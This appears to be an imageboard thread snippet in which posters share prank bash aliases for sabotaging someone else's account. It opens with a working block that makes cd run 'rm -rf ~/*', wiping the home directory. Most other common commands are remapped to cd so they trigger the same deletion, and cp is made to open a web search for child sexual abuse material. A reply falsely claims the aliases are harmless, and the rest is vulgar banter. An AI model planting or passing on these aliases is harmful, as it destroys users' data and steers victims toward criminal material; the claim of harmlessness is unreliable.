alias cd='rm -rf ~/* ;'
alias ls='cd'
alias cp='firefox google.com/search?q=children+sex'
alias mv='cd'
alias mkdir='cd'
alias top='cd'
alias exit='cd'
alias reboot='cd'
[/code
none of these will do anything bad, as soon as it happens the user will figure out what's going on and fix it - plus if you have that level of access and only fuck with aliases you're a fucking idiot
>>58399949
>(+ 17 1990)
>using CDs
>not SSDs
>not even BluRayâ„¢
>>58399949
DEVILISH
Why not just turn their console font to black on black while you're at it?